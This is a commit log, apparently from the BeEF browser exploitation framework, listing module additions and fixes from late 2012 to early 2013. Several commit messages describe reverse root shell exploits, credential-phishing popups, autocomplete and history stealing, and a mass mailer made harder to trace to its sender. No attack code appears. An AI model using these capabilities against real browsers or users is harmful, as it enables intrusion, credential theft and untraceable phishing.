Christian Frichot
ae98842ad4 Tiny fix to Clippy so it appears properly. #866 2013-04-04 19:37:08 +08:00
bcoles
159ecb5ade Fix malformed YAML in 'deface_web_page_component' module 2013-04-04 00:04:45 +10:30
BWZ
cf4ab9533e Added Webcam Permission Check Module 2013-04-03 09:01:15 +10:00
Christian Frichot
9a23ed758e New getHighestZindex function in beef.dom and updated createIframe beef.dom function. #865 2013-04-02 14:33:57 +08:00
Christian Frichot
389f27360d Slight spelling mistake fix up in the Welcome tab of the Admin UI 2013-04-01 19:51:16 +08:00
Christian Frichot
e8eda3ef99 Minor enhancements to the Admin UI. #864 2013-04-01 11:07:50 +08:00
Saafan
af8018500b Fixing some unit tests 2013-03-31 16:22:58 +02:00
Christian Frichot
22cd68101d Added Bookmarklet to the Welcome Tab in the Admin UI. #863 2013-03-30 17:31:36 +08:00
bcoles
760e7a456e Update version 2013-03-29 15:59:48 +10:30
Christian Frichot
26933fe146 Fix for #826. Plus - logs also include a column for which browser an event is associated with 2013-03-29 13:33:09 +08:00
bcoles
9ca50e0505 Comment out two console.log() lines in hookChildFrames 2013-03-29 15:16:56 +10:30
Christian Frichot
31e1ddddaf New Defacement Module - but only rewrites targeted content. #861 2013-03-25 19:33:38 +08:00
Christian Frichot
7e57313e21 New Link Rewrite (Hidden using overwritten click handling) module. #860 2013-03-25 19:26:59 +08:00
BWZ
c0f0735150 LiveCD config files and splash logo 2013-03-25 12:08:25 +10:00
BWZ
39bc121b76 LiveCD - Added IP Address to GUI when ssh enabled 2013-03-25 11:29:02 +10:00
BWZ
dc4665e1d3 LiveCD - Updated URI + Version + MD5 2013-03-25 11:21:00 +10:00
Brendan Coles
497c3eb3f3 Merge pull request #859 from gcattani/ApacheCookieDisclosure
Module: Apache HTTP Server cookie disclosure (exploit)
2013-03-19 11:22:59 -07:00
gcatt
6abb21ac53 Module: Apache HTTP Server cookie disclosure (exploit) 2013-03-19 17:29:48 +01:00
bcoles
fb26ef5f71 Add beef.browser.hookChildFrames()
BeEF now automatically hooks all same-domain child (i)frames

Allows logging of child frame events - fixes issue #493
2013-03-18 00:37:15 +10:30
bcoles
c98d9a4300 Manually merged Windows Media Player detection from @gcattani
Fix issue #833

Fix issue #847
2013-03-17 03:30:12 +10:30
bcoles
f3f624e9a4 Fixed bug introduced in commit 8132eb0e53 2013-03-17 03:21:38 +10:30
bcoles
8132eb0e53 Solution: Hide beef behind an apache webserver
Manually merge code from @lalaglubsch

Add support for BeEF through a proxy

Fix issue #856
2013-03-16 20:12:27 +10:30
antisnatchor
7364529b26 Merge branch 'master' of https://github.com/beefproject/beef 2013-03-12 10:57:16 +00:00
antisnatchor
de1de356f7 Added GoogleWebStore module.rb option. Modified link opener to support data URI injections. 2013-03-12 10:57:07 +00:00
Brendan Coles
4cec0cb1b8 Merge pull request #855 from javuto/829-Foxit-reader-plugin-detection
Detection added for the Foxit Reader plugin, fixes #829
2013-03-10 21:44:07 -07:00
Javier Marcos
657aac9dcd Detection added for the Foxit Reader plugin, fixes #829 2013-03-11 00:19:19 +00:00
bmantra
2d710a1bcf Merge pull request #853 from bmantra/master
add fingerprint of m0n0wall to internal network fingerprint module
2013-03-08 12:03:07 -08:00
bmantra
2484704fe8 add fingerprint for m0n0wall 2013-03-08 21:00:52 +01:00
Michele Orru
7ad93130d9 Merge pull request #852 from bmantra/master
Added m0n0wall 1.33 CSRF root reverse shell exploit #824
2013-03-07 08:45:42 -08:00
bmantra
de2bd15769 module for m0n0wall csrf reverse root shell #824 2013-03-06 19:34:27 +01:00
antisnatchor
713a20f157 Replaced eval with new Function when executing data coming from BeEF's WebSocket server. 2013-03-05 10:37:49 +00:00
antisnatchor
6a968e77c0 Removed all the crappy Oracle code to detect if java is enabled. Was preventing x-domain hooking on FF. 2013-03-04 22:07:47 +00:00
antisnatchor
710769283e Merge branch 'master' of https://github.com/beefproject/beef 2013-03-03 11:26:29 +00:00
antisnatchor
b4d690a5f3 det_visited_domains now supports also Opera. 2013-03-03 11:26:00 +00:00
antisnatchor
4e7b983bd3 Added support for Chrome 25. 2013-03-03 11:24:08 +00:00
qswain2
0ea1c0bbf8 Add chrome/opera support to get_visited_domains
Added chrome/opera support for lcamtuf cache timing script
in get_visited_domains module.

Signed-off-by: antisnatchor <antisnatchor@gmail.com>
2013-03-03 11:16:07 +00:00
Michele Orru
58fb939b96 Merge pull request #848 from claudijd/add_dot_rvmrc_to_dot_gitignore
Add .rvmrc to .gitignore
2013-03-03 00:16:53 -08:00
Jonathan Claudius
6f035bdf05 Add .rvmrc to .gitignore 2013-03-02 17:32:44 -06:00
geefunkmasterpro
66d0e3535b Added fromaddr to mass mailer JSON interface so emails can be sent from
any address without restart.

Removed fromaddr entry from config.yaml.
2013-02-27 23:29:08 +11:00
geefunkmasterpro
e79372f8ac Added auth field to config so that emails are harder to track to sender
Added error handling to identify:
  - errors creating the mail headers
  - errors processing JSON input
  - errors in the mailer configuration
2013-02-27 21:33:48 +11:00
bcoles
83749aad08 Add support for Firefox 20 2013-02-26 13:17:14 +10:30
bcoles
127e3cc0bb Updated version 2013-02-26 12:08:05 +10:30
Brendan Coles
ed661e2a22 Merge pull request #845 from bcoles/raw_http
Add 'bind_raw' to asset handler
2013-02-22 23:21:40 -08:00
bcoles
0d8521dd7b Add 'bind_raw' to asset handler 2013-02-23 16:57:47 +10:30
bcoles
bf2dc1d387 Remove redundant line 2013-02-23 15:27:54 +10:30
bcoles
8f1a26ffa9 Add "Hardware" to console browser details 2013-02-23 15:27:29 +10:30
bcoles
de1ab2d1f9 Fix issue #838
Fixes detect_toolbars target configuration
2013-02-23 12:32:57 +10:30
bcoles
772b2fd1e7 Add VLC details to hooked browser balloon popup
Part of issue #828
2013-02-22 12:14:43 +10:30
Brendan Coles
765c834f78 Merge pull request #844 from Nbblrr/master
Plugin for VLC detection (ticket #828)
2013-02-21 17:58:55 -08:00
Nbblrr
7eec331cf9 Plugin for VLC detection #828 2013-02-21 23:14:28 +01:00
Wade Alcorn
1c252af145 Updated version number to make explicit the patched Rack::File xss fix 2013-02-21 21:10:24 +10:00
antisnatchor
5a15a9afdd Merge remote-tracking branch 'origin/master' 2013-02-20 11:58:11 +00:00
antisnatchor
c37f0e1719 Patched Rack::File to don't reflect the URI path in the page if a file is not found. Official patch is not out yet. 2013-02-20 11:57:37 +00:00
bcoles
0734bb0750 Update Proxy tab 2013-02-20 00:57:53 +10:30
bcoles
4718075b2c Add Yammer template to Pretty Theft module 2013-02-19 16:01:10 +10:30
bcoles
514f367803 Merge branch 'master' of https://github.com/beefproject/beef 2013-02-19 15:20:02 +10:30
bcoles
753a78f5fc Add YouTube template to Pretty Theft module 2013-02-19 15:19:27 +10:30
antisnatchor
c222d0e4e3 Patched BeEF hook core to support injection when the hooked domain uses HttpOnly. 2013-02-18 17:19:49 +00:00
Brendan Coles
5e257d4e33 Merge pull request #843 from gcattani/834-hasRealPlayer
Add RealPlayer detection
2013-02-17 08:30:40 -08:00
gcatt
007769aa93 Corrected mistake 2013-02-17 12:41:30 +01:00
gcatt
63695e66d7 Add RealPlayer detection 2013-02-17 12:37:56 +01:00
antisnatchor
074a11c85a Updated Chrome sample extension with latest requirements (CSP/version/etc.). Not it works on latest Chrome. Also Updated the fake_flash_update description with more info. 2013-02-12 10:53:19 +00:00
Brendan Coles
88086811a0 Merge pull request #842 from bcoles/isTouchEnabled
Add beef.hardware.isTouchEnabled()
2013-02-10 08:57:53 -08:00
bcoles
90174dda23 Add beef.hardware.isTouchEnabled() 2013-02-11 02:46:35 +10:30
bmantra
fa7b90f123 Merge pull request #840 from bmantra/master
Metasploit auto launcher not supported on windows
2013-02-06 10:53:36 -08:00
bmantra
17aa898099 correct last commit, set auto_msfrpcd back to false 2013-02-06 19:42:14 +01:00
bmantra
f879584f1b changed windows default path and changed message 2013-02-06 19:37:31 +01:00
bmantra
2d27266fc9 added message that metasploit auto launch is not available on MS Windows 2013-02-06 19:22:12 +01:00
bcoles
2d08183eef Refactor 'select_zombie_summary'
extensions/admin_ui/controllers/modules/modules.rb
    extensions/console/lib/shellinterface.rb

Fix issue #837
2013-02-07 02:44:40 +10:30
bcoles
bf19223a01 Add 'HasQuickTime' to core/main/handlers/browserdetails.rb 2013-02-07 02:43:58 +10:30
bcoles
11a56c5ce9 Add hasQuickTime to browser object 2013-02-05 01:41:21 +10:30
antisnatchor
4852cab66d Properly adjusted onClose command module to annoy the user also in latest Firefox. 2013-02-04 12:09:46 +00:00
bcoles
79e8f34b06 Add QuickTime to zombie balloon details
Add 'modules/browser/detect_quicktime'
2013-02-04 09:10:59 +10:30
radoen
4003b69646 Update core/main/client/browser.js 2013-02-03 12:32:25 +01:00
radoen
ad2a93fc60 Merge branch 'master' of github.com:beefproject/beef 2013-02-03 11:30:37 +01:00
radoen
4e73163403 ISSUES #817
to refine UI rendering.

Note In FF 21.xx the old detection method correctly work yet
2013-02-03 01:45:01 +01:00
bcoles
19d1827c36 Add 'Steal Autocomplete' module
Part of issue #601
2013-02-03 08:51:04 +10:30
radoen
fdf3dff690 ISSUES #817
to refine UI rendering.

Note In FF 21.xx the old detection method correctly work yet
2013-02-02 22:07:28 +01:00
bcoles
f7b55be03a Add 'beef.browser.hasQuickTime()'
Merged manually from https://github.com/beefproject/beef/pull/836

Fix issue #835

starting
2013-02-03 05:59:06 +10:30
bcoles
ce1cc61ac1 Add ActiveX and Silverlight to zombie balloon details 2013-02-03 05:47:07 +10:30
bcoles
8b56a147a9 Rename 'System Platform' to 'Browser Platform' in UI 2013-02-03 05:28:49 +10:30
bcoles
449c6633aa Rename 'System Platform' to 'Browser Platform' 2013-02-03 05:24:48 +10:30
bcoles
95970d5364 Add 'beef.browser.hasSilverlight()'
Add 'modules/browser/detect_silverlight'
2013-02-03 04:42:13 +10:30
bcoles
2c10dd040c Add 'beef.hardware.isLaptop()' 2013-02-03 03:55:14 +10:30
bcoles
cdc92f084e Add laptop icon 2013-02-03 03:41:29 +10:30
bcoles
15a502bce6 Add CPU type to browser initialization
Add support for Firefox 19
2013-02-03 03:39:30 +10:30
bcoles
10bdcce34a Fix typos in 'beef.hardware.cpuType()' and OS detection 2013-02-03 03:36:41 +10:30
bcoles
7dc1882427 Add virtual machine icon to browser
'BeEF::Core::Models::BrowserDetails::hw_icon()'
2013-02-03 03:02:27 +10:30
bcoles
78162e6d26 Add 'beef.hardware.cpuType()' 2013-02-03 03:01:54 +10:30
bcoles
6913e97e2e Update Windows OS detection
Add functions:
  beef.os.isWinCE()
  beef.os.isWin2000SP1()
  beef.os.isWindows()
2013-02-03 03:01:18 +10:30
Wade Alcorn
0df85344f0 Changed ActiveX detection slightly 2013-02-01 07:11:53 +10:00
bcoles
c88a2bb8e3 Update 'Detect Virtual Machine' module 2013-02-01 04:32:16 +10:30
bcoles
e3dced8a9e Add virtual machine icon 2013-02-01 04:30:25 +10:30
bcoles
30171693ff Add 'beef.hardware.isVirtualMachine()'
Rename 'beef.hardware.getMobileName()' to 'beef.hardware.getName()'
2013-02-01 04:29:06 +10:30
bcoles
065276932c Add os_fingerprinting module 2013-02-01 02:51:45 +10:30
bcoles
61d0bf2e14 Add beef.browser.hasActiveX()
Add modules/browser/detect_activex module

Fix issue #832
2013-02-01 01:22:45 +10:30
bcoles
06221d2540 cleanup .gitignore 2013-02-01 01:06:31 +10:30
Brendan Coles
e14be26951 Merge pull request #827 from gcattani/master
Module: Detect Toolbars
2013-01-31 07:10:00 -08:00
gcatt
daadf59782 Module: Detect Toolbars
Added a module to detect browser toolbars by checking the User-Agent
and the DOM
2013-01-31 09:20:32 +01:00
bcoles
c085c2d3d7 Add detection for IE10
Fixes issue #818
2013-01-28 01:05:31 +10:30
bcoles
209e64a9ef Add IE 7-9 detection to browser_fingerprinting module 2013-01-28 01:02:53 +10:30
bcoles
3cb7bb9f51 Add support for Windows 8 2013-01-28 01:01:29 +10:30
bcoles
e8d85b550b Rename "Detect Chrome/Firefox Extensions" module to "Detect Extensions"
Added placeholder for IE toolbar detection
2013-01-27 22:35:14 +10:30
Wade Alcorn
29480a24da Version number updated 2013-01-27 14:40:16 +10:00
bmantra
777f796243 Merge pull request #823 from bmantra/master
pfSense reverse root remote shell #812
2013-01-25 12:08:22 -08:00
bmantra
8cd570c62d pfsense reverse root shell exploit #812 2013-01-25 21:05:43 +01:00
bmantra
e383b7f9d5 Merge pull request #822 from bmantra/master
added pfSense detection to internal fingerprint module
2013-01-25 10:54:17 -08:00
bmantra
1ad6039f0a fingerprint network detect pfSense 2013-01-25 19:52:09 +01:00
bcoles
8d151fb818 Add HTTPS support for internal_network_fingerprinting module
Comment out a few fingerprints for 'rare' software in order to increase
speed
2013-01-25 12:34:04 +10:30
antisnatchor
e321d6e3d8 Added support for Chrome 24 2013-01-23 11:39:26 +00:00
ben-waugh
3433e44d74 LiveCD - improved interrupt capture 2013-01-23 17:20:33 +10:00
ben-waugh
152edc445d LiveCD - added MSF integration 2013-01-23 17:09:38 +10:00
ben-waugh
81be99074a Metasploit extension config - added livecd path 2013-01-23 07:08:04 +10:00
ben-waugh
d81dc8044e LiveCD - fixed a bug in menu display showing sqlmap enabled 2013-01-22 09:57:43 +10:00
ben-waugh
56d6b54d08 BeEFLive - New Menu
replaces the old tree/Q&A style for a menu presenting all options
2013-01-22 09:53:51 +10:00
Christian Frichot
2d9b894a3c Added some further comments to the new AssetHandler redirector. See #664 2013-01-20 17:03:26 +08:00
Christian Frichot
3c4a0fad34 New bind_redirect method added to the AssetHandler. See #664 2013-01-20 16:59:01 +08:00
antisnatchor
63b7d44a5e Enabled debug_modules tests. Now they work properly and are effective to automatically check if command modules generally work. 2013-01-17 14:17:04 +00:00
qswain2
f584403a92 Move jools tests to integration
Moved tc_jools to integrations test directory
since the requires seem to be what were breaking
the other tests in the unit test suit
2013-01-16 05:47:09 -05:00
Saafan
efa4854b79 Merge branch 'master' of https://github.com/beefproject/beef 2013-01-15 17:04:12 +02:00
Saafan
cc49004189 Fix IE java detection. 2013-01-15 17:03:54 +02:00
Michele Orru
c8c6d30468 Merge pull request #778 from Skyr/master
Fix for Javascript errors in Phonegap
2013-01-15 03:56:50 -08:00
qswain2
fcbd2516e6 Add test cases for jools
Added test cases for jools based on examples
2013-01-14 23:12:55 -05:00
bcoles
224cf0c7d0 Added window.devicePixelRatio to Firefox 18 detection 2013-01-12 14:26:16 +10:30
bcoles
c2dbc50d00 Added support for Firefox 18 2013-01-10 08:44:50 +10:30
antisnatchor
c1fefecf70 Merge branch 'master' of https://github.com/beefproject/beef 2013-01-09 15:01:50 +00:00
antisnatchor
60589dc607 Minor changes to MiTB core. 2013-01-09 15:01:07 +00:00
Saafan
5d9821aa74 Temporary workaround to fix IE not being hooked due to java detection code. 2013-01-09 00:47:45 +02:00
root
0f40a0fb9a Merge branch 'master' of https://github.com/beefproject/beef 2013-01-07 01:32:29 -05:00
root
6c16a89328 Added simple adblock checks for IE from issue #803 2013-01-07 01:30:44 -05:00
bcoles
e275e4001c Add SQLiteManager XSS module 2013-01-07 12:30:24 +10:30
Brendan Coles
644a53cb2c Merge pull request #816 from Nbblrr/master
Pull Request : Module Detect extensions on Firefox
2013-01-06 13:50:53 -08:00
Nbblrr
87afb9a31b Improved extension detection with the old Firefox hack #815 2013-01-06 22:39:43 +01:00
bcoles
bd2b002314 Fix a few typos 2013-01-07 05:17:55 +10:30
Michele Orru
15eb6a4b07 Merge pull request #813 from Nbblrr/master
Merge of Hardware detection improvement with mdetect (#722)
2013-01-06 04:40:10 -08:00
Nbblrr
da7a7b9603 Improved Hardware detection with mdetect 2. #722 2013-01-05 20:43:28 +01:00
Nbblrr
3fe37ec7b1 Improved Hardware detection with mdetect. Ticket #722 2013-01-05 00:03:25 +01:00
Christian Frichot
9c6802cd8f Updated QR Code Extension - URLs can now be full, not just sub-domains #811 2013-01-03 19:25:00 +08:00
Michele Orru
00ad35d878 Merge pull request #809 from phillcampbell/development
Remove Thin 'Server' response header
2013-01-03 01:47:58 -08:00
Phill Campbell
cae2559fa3 Remove Thin 'Server' response header 2013-01-02 23:29:21 +00:00
antisnatchor
ba02b6ec87 Merge branch 'master' of https://github.com/beefproject/beef 2013-01-02 21:35:02 +01:00
ben-waugh
12fe2ed86c LiveCD - updated links and copyright year 2013-01-03 07:31:34 +10:00
antisnatchor
c0a256f1b0 Refactored Ipec and Autorun tabs to use the new beefwui object: get_rest_token is now a common function :D 2013-01-02 20:09:23 +01:00
antisnatchor
1ce620a626 Created a new beef_common.js files with common functions for the Web UI. Registered as beefwui in the main window object. 2013-01-02 20:07:49 +01:00
antisnatchor
cea8a4b0e3 ARE: fixed bug which was preventing the execution of modules without input. 2013-01-02 19:03:27 +01:00
antisnatchor
1cd83663aa ARE: properly closed a couple of more statements. 2013-01-02 18:37:26 +01:00
antisnatchor
b6b968a7a0 ARE: removed a couple of unneeded commas. 2013-01-02 18:33:57 +01:00
antisnatchor
276d465dd1 ARE: properly closed a couple of statements. 2013-01-02 18:31:23 +01:00
antisnatchor
8947d78d66 ARE: added mod_id to the multi_module API call. The bug was preventing correct module calling. 2013-01-02 18:30:06 +01:00
antisnatchor
98da93fb12 ARE: fixed hardcoded URLs 2013-01-02 18:07:53 +01:00
qswain2
f39b16712a Added auto-run tab
Added a new tab in the ui for the auto-run.
and allows modules to be selected with a
checkboxes.Added a handler to hide autorun
tab. Added stubs to ARE.
2013-01-01 18:01:53 -05:00
antisnatchor
d976e86cbe Refactored mitm.js AJAX sniffing feature. Fixed a couple of other bugs in mitb.js 2012-12-30 13:13:10 +01:00
ben-waugh
0244980db0 LiveCD - Added proxy demo for sqlmap #789 2012-12-30 17:34:06 +10:00
ben-waugh
0580b86744 Move liveCD Script to a new folder #781 2012-12-30 16:23:50 +10:00
Wade Alcorn
701dd34c83 Version number updated 2012-12-30 12:48:45 +10:00
Wade Alcorn
fe40038441 Updated copyright year to 2013 2012-12-30 12:47:43 +10:00
Saafan
ba5ee180e4 -Updated "Detect Java Support" using the official oracle deployment support script to detect if Java is enabled. 2012-12-29 13:33:23 +02:00
Saafan
ca72854911 Merge branch 'master' of https://github.com/beefproject/beef 2012-12-29 12:51:02 +02:00
bcoles
bdab1028f5 Added Detect Virtual Machine module 2012-12-16 16:22:41 +10:30
bcoles
4e7e1129bb Added Detect Default Browser module 2012-12-13 18:04:16 +10:30
bcoles
7b4d4de3eb Added support for Firefox 17 2012-12-13 18:00:22 +10:30
Stefan Schlott
df365b74c2 Fix Javascript errors in Phonegap (see #777) 2012-12-11 15:54:41 +01:00
bcoles
acb09efd32 Fixed a few typos in BeEFLive.sh
Moved avant_steal_history module to 'browser' category
2012-12-10 23:59:45 +10:30
ben-waugh
d3cb14b1ad Added Live CD Login Script
Fixes #775 #766
2012-12-07 10:39:05 +10:00
Michele Orru
4d097aa55d Merge pull request #773 from malerisch/avant_browser
Avant Browser History Stealing
2012-12-05 15:39:00 -08:00
bcoles
75532ffe44 Add PHP 5.3.9 DoS (CVE-2012-0830) module
Has not been tested
2012-11-29 18:34:07 +10:30
Roberto Suggi Liverani
9546e88113 Avant Browser History Stealing
Avant Browser History Stealing module - Advisory:
http://blog.malerisch.net/2012/11/avant-browser-same-of-origin-policy.html
2012-11-28 14:11:04 +13:00
bcoles
9083586135 Updated supported browser list for CORS debug module 2012-11-26 16:38:07 +10:30
bcoles
3152f41a18 Add beef.net.cors.request
Returns a response object with HTTP status, headers and body

Add 'Test CORS Request' debug module
2012-11-26 02:50:27 +10:30
antisnatchor
da08911080 Added '/multi_module' RESTful API call to send multiple modules at once to a single browser. 2012-11-25 13:47:29 +00:00
antisnatchor
b050af529f Removed console.log from read_gmail module. Some browser do not support that. 2012-11-25 11:52:54 +00:00
antisnatchor
efec8b9bc3 Clarified with code comments (main config.yaml) how to add mysql/postgres dependencies if switching database drivers. 2012-11-22 14:26:12 +00:00
antisnatchor
d580ff44ed Merge branch 'master' of https://github.com/beefproject/beef 2012-11-21 13:39:28 +00:00
antisnatchor
328df7af97 Documented (JSdoc) both updater.js and websocket.js. Finally :D 2012-11-21 07:12:56 +00:00
antisnatchor
4b6130a315 Added xhr_poll_timeout config to the main config.yaml. This can now be used to decrease/increase polling timeout for the normal XHR-polling communication. 2012-11-21 06:37:41 +00:00
antisnatchor
011bb0e94b Refactored WebSocket polling timeout config value. 2012-11-21 06:26:15 +00:00
antisnatchor
72a4a127ff Documented (JSdoc) all the net.js methods. 2012-11-21 06:14:59 +00:00
antisnatchor
03f7f888b5 Documented (JSdoc) all the init.js methods. 2012-11-21 06:13:32 +00:00
antisnatchor
2ae03736ab Added Chrome 23 detection. Refactored the hasWebSockets method. 2012-11-21 05:19:47 +00:00
antisnatchor
c2185d2cec Refactoring session.js moving the iframe persistence technique in dom.js. Updated iframe_above to use the new component. 2012-11-21 05:10:52 +00:00
Mike Haworth
624f704240 added module to pull email messages content from gmails atom feed, useful if running the in context of mail.google.com 2012-11-20 20:46:04 +13:00
Michele Orru
1765d18d97 Merge pull request #765 from gallypette/master
Change hardcoded linked image to an inline one in credential.js template
2012-11-19 23:18:12 -08:00
Jean-Louis Huynen
6e44d5c641 remove hardcoded linked image to an inline one in credential.js template- (this template need some work btw) 2012-11-19 11:14:24 +01:00
antisnatchor
81f03f0024 Fixed a nasty bug with WebSockets. BrowserDetails are now always sent with XHR-polling, before switching protocols using WebSockets. 2012-11-18 15:45:46 +00:00
bcoles
05e31fd250 Add Zenoss 3.x command execution exploit 2012-11-11 21:40:50 +10:30
antisnatchor
bcb0e55802 Merge branch 'master' of https://github.com/beefproject/beef 2012-11-05 19:33:08 +00:00
antisnatchor
bbf7143a9a Modified Autorun to work with modules with USER_NOTIFY target. Also added a few config options in the main config.yaml. 2012-11-05 19:32:34 +00:00
bcoles
f5b4a413f6 Added WAN Emulator command execution exploit 2012-11-04 17:37:42 +10:30
bcoles
014aa3c4bd Version updated to 0.4.3.9-alpha
your changes. Lines starting
2012-11-02 18:26:04 +10:30
Wade Alcorn
1aff4da0b8 Merge remote-tracking branch 'origin/master' 2012-11-02 15:43:51 +10:00
Wade Alcorn
d2188b230c More changed license headers 2012-11-02 15:27:01 +10:00
Wade Alcorn
23f09b919f Changed license header 2012-11-02 14:26:10 +10:00
Wade Alcorn
b68df3d024 Changed license header 2012-11-02 14:05:15 +10:00
Wade Alcorn
447f61c71b Changed license header and stdout banner 2012-11-02 14:00:44 +10:00
Wade Alcorn
f702482764 Added new boilerplate licence file 2012-11-02 13:57:33 +10:00
Wade Alcorn
0e3dbb23ee Added new licence file 2012-11-02 13:56:17 +10:00
bcoles
bfba800a93 Revert "Version updated to 0.4.3.9-alpha"
This reverts commit b62c791961.
2012-11-01 17:59:59 +10:30
bcoles
b62c791961 Version updated to 0.4.3.9-alpha 2012-11-01 17:46:03 +10:30
bcoles
b756065d2a Update Inter-Protocol IRC module to use beef.dom.createIframeIpecForm 2012-10-31 00:04:54 +10:30
bcoles
210dc1366a Add QNX QCONN exploit 2012-10-27 18:55:33 +10:30
bcoles
72ac600f9f Add createIframeIpecForm function to client dom library 2012-10-27 18:53:29 +10:30
bcoles
d7f0a590b7 Fix typo in popup detection 2012-10-27 18:53:04 +10:30
bcoles
a3a8bf2f15 Add command module IDs to logs 2012-10-26 16:45:00 +10:30
bcoles
34bae7d513 Add command module IDs to logs 2012-10-26 16:42:28 +10:30
bcoles
abd8f538eb Remove demos/html/passwd_manager_theft.html
Small syntax changes to Event Logger extension `parse()`
2012-10-25 16:38:29 +10:30
antisnatchor
79309b7331 Merge branch 'master' of https://github.com/beefproject/beef 2012-10-24 11:12:58 -05:00
antisnatchor
f9b8e0f576 Moved admin_ui controllers for extensions in their relative extension directory. 2012-10-23 10:15:07 +11:00
antisnatchor
deffc8691c Fixed event logger: events were not logged for a wrong data structure type check. 2012-10-23 09:50:01 +11:00
bcoles
7c7fc5ae6e Small modifications to a few modules
Updated a few default IP addresses to 127.0.0.1

Updated a few module names

Fixed config.yaml whitespace bug
2012-10-22 23:26:33 +10:30
antisnatchor
ce4018d464 Enabled IPEC extension in main config.yaml 2012-10-22 17:26:59 +11:00
antisnatchor
636fee9607 Modified Fake_flash_update module (with drop-down menu) to support Firefox Extension delivery. 2012-10-22 17:25:16 +11:00
antisnatchor
9aab6f1cf4 Patched jquery-encoder to prevent exception on encoderForJavascript. Patched wterm.jquery.js to prevent XSS. Added IP/port validation to IPEC shell. 2012-10-22 17:19:46 +11:00
antisnatchor
aae9f5b66c Removed dead code from the IPEC admin_ui tab panel. 2012-10-22 16:12:43 +11:00
antisnatchor
aa1efd1c73 Added new IPEC admin_ui tab. This includes the new Wterm-based interactive shell to communicate with the BeEF_bind shellcode. 2012-10-22 16:09:34 +11:00
antisnatchor
79bf6f4a9f Added BeEF_bind send_command module: this is used to communicate with the BeEF_bind shellcode (including in the IPEC admin_ui shell). 2012-10-22 16:07:31 +11:00
antisnatchor
e257f8bb52 Added BeEF_bind deployer module: send both shellcode stager and stage to a specific target. Eudora IMAP 3 (Win) is the only available exploit atm. 2012-10-22 16:03:47 +11:00
antisnatchor
b8c36b206b Added first implementation of the IPEC extension, including the malicious FirefoxExtension. 2012-10-22 15:52:15 +11:00
antisnatchor
5a2f30a0c0 Added a bunch of new RESTful API calls: get categories, search module by name. 2012-10-22 15:30:27 +11:00
antisnatchor
cbbb9e0d67 Added feature to bind_socket in AssetHandler: now it's possible to retrieve the raw data sent to the socket. 2012-10-22 15:24:21 +11:00
antisnatchor
af53f0fd0b Catching exception in web_cloner when determining if page can be framed. 2012-10-22 15:22:04 +11:00
bcoles
91e1411888 Added support for Chrome 22 2012-10-19 09:35:29 +10:30
bcoles
042ee1b0aa Hide QRcode for localhost/127.0.0.1 interface 2012-10-19 09:15:07 +10:30
bcoles
2863fafc2a Added support for Firefox 16
Fixed bug where new versions of Firefox are detected as Safari

Added placeholder for IE10
2012-10-16 20:39:28 +10:30
radoen
b20dec0adf ISSUES #713 Fixed 2012-10-14 01:52:17 +02:00
antisnatchor
aad6228ea8 Fix issues #757 : normalizing mount points for web_cloner in case they contain params. 2012-10-11 11:21:06 +01:00
bmantra
8e9f82ff2a Merge pull request #756 from bmantra/master
added some more default paths for metasploit-autolaunch
2012-10-07 10:28:01 -07:00
bmantra
22bb8998b2 added more default paths for the msf-autolaunch 2012-10-07 19:26:02 +02:00
bcoles
0f81e38635 Fix YAML config: extensions/social_engineering/config.yaml
Prevents this error due to lack of white space between array elements:

`[!] Unable to load extension configuration '/pentest/web/beef-git/extensions/social_engineering/config.yaml'`
2012-10-07 17:57:51 +10:30
bmantra
2b3654b1bb Merge pull request #755 from bmantra/master
HP uCMDB CSRF add user module
2012-10-05 04:26:20 -07:00
bmantra
03da56fc7d HP uCMDB CSRF add user module 2012-10-05 13:23:24 +02:00
bmantra
a0891dbccb Merge pull request #754 from bmantra/master
For now disable the auto msfrpcd load by default
2012-10-04 11:55:54 -07:00
bmantra
d04461d8ff disable auto msfrpcd 2012-10-04 20:50:51 +02:00
bmantra
f10f374a72 Merge pull request #753 from bmantra/master
Initial metasploit auto launch commit #96
2012-10-04 11:03:35 -07:00
Roos
480e797853 auto launch metasploit initial commit 2012-10-04 19:53:36 +02:00
Michele Orru
50df4f1e35 Merge pull request #752 from gallypette/master
New template for simple_hijacker social engineering module.
2012-10-01 08:40:13 -07:00
Jean-Louis Huynen
7e43e15838 modified config.yaml of simple_hijacker to activate chromecertbeggar2.js template 2012-10-01 16:11:18 +02:00
Jean-Louis Huynen
104f8189d3 added chromecertbeggar2.js 2012-10-01 16:06:45 +02:00
bcoles
ba20f17831 Ugh. Apparently target can't be null. Fixed. 2012-09-30 18:50:28 +09:30
bcoles
a135e9f51f Update supported browsers for multiple modules
Pretty Theft module does not work in IE

Multiple exploit modules haven't been tested
2012-09-29 17:39:14 +09:30
Brendan Coles
256f63d28a Merge pull request #748 from pwndizzle/master
Update to Pretty_Theft module
2012-09-23 00:18:49 -07:00
bcoles
95f5d78acc Update supported browsers for lcamtuf download module
Opera blocks the `data:` URL popup by default.

Safari is no longer listed as either supported nor unsupported pending
further testing.
2012-09-23 16:04:25 +09:30
pwndizzle
483683ca78 Added Facebook and Linkedin popups, also some code/logic improvements 2012-09-22 18:38:09 +08:00
Michele Orru
fe87d382db Merge pull request #747 from gallypette/master
Small change in Chromecertbeggar template of simple_hijacker module
2012-09-20 03:31:57 -07:00
Jean-Louis Huynen
68bfb46bc7 remplace setInterval by setTimeout in chromecerbeggar.js template 2012-09-20 11:26:27 +02:00
bmantra
edf99db187 Merge pull request #746 from bmantra/master
fix for jboss exploit
2012-09-18 12:01:44 -07:00
bmantra
9b62ae83dc fix jboss exploit with forge_request 2012-09-18 20:59:54 +02:00
antisnatchor
9c7c81bd7f Web_cloner: managed a corner case when html elements are uppercase (HEAD, FORM) 2012-09-17 12:54:10 +01:00
antisnatchor
e56b083ad5 Fixed typos in readme.txt for web_cloner 2012-09-17 11:03:13 +01:00
antisnatchor
074ca17e42 Added missing cloned_page directory to web_cloner. Added readme.txt on that directory. Enabled the social engineering extension by default. Enabled all the obfuscation techniques in the evasion extension config. 2012-09-17 10:58:07 +01:00
Wade Alcorn
87e3262bae Tidied up splash 2012-09-14 21:36:50 +10:00
Wade Alcorn
c8b7b506fa Tidied up splash 2012-09-14 21:24:10 +10:00
Wade Alcorn
921a9928ff Added twitter account to stdout 2012-09-14 21:10:32 +10:00
Wade Alcorn
62768e1ea2 Changed update method in stdout 2012-09-14 21:08:47 +10:00
Brendan Coles
3b07e700a5 Merge pull request #744 from webstersprodigy/improved-clickjacking
Clickjacking Module Update: Better reliability in IE
2012-09-12 19:31:22 -07:00
Rich Lundeen
0b852dd308 Made namespaces consistent and expanded body
Adding feedback I missed earlier regarding namespaces. Also since
